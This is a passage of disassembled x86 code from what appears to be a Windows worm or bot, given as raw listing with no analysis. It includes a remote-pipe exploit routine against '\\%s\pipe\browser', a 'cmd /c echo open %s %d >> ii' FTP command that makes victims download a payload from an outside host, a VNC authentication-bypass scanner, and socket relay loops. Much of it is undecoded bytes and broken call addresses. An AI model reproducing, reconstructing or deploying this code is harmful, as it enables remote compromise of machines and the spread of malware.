0DFh ; db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; db 0A7h ; db 0DBh ; db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; db 0FFh db 0FFh db 83h ; db 0C4h ; db 1Ch db 89h ; db 85h ; db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; db 28h ; ( db 0D1h ; db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 26F0867h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26E0000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 265092Ah jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 26F0000h nop push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] call near ptr 265092Ah nop push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26E0952h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DE4F nop call near ptr 2680000h cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] call near ptr 268065Ah nop cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 81h ; db 0ECh ; db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; db 56h ; V db 50h ; P db 0E8h ; db 0D6h ; db 0D6h ; db 0 db 0 db 83h ; db 0C4h ; db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; db 45h ; E db 0F0h ; db 2 db 0 db 50h ; P db 90h ; db 0E8h ; db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; db 0C4h ; db 0 db 0 db 0 db 89h ; db 45h ; E db 0F4h ; db 90h ; db 0E8h ; db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; db 45h ; E db 0F2h ; db 90h ; db 0E8h ; db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; db 0D8h ; db 83h ; db 0FBh ; db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; db 0B8h ; db 8 db 91h ; db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; db 0ACh ; db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; db 0DFh ; db 0CCh ; db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; db 38h ; 8 db 0DAh ; db 0 db 0 db 83h ; db 0C4h ; db 1Ch db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; db 87h ; db 0D0h ; db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; db 8Bh ; db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; db 0EBh ; db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; db 53h ; S db 90h ; db 0E8h ; db 0E7h ; db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; db 0C3h ; dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 0E8000007h, 22625DFh, 0FB834390h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j call near ptr 71AB1A6Dh nop loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 call near ptr 26E0000h nop jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 nop call near ptr 26F0000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 1F3DE890h, 0FF50022Fh, 4CDCA835h, 1F31E800h, 5090022Fh dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 25BEE857h, 8D900224h dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 2262005h dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 261FECE8h, 0FF6A9002h, 0FFF04589h, 0E890D875h, 2271FDEh dd 0F075FF57h, 272743E8h, 0FF579002h, 0E890EC75h, 2272738h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 8CE8D875h, 90022E24h dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 5238E802h dd 8B90716Ah, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 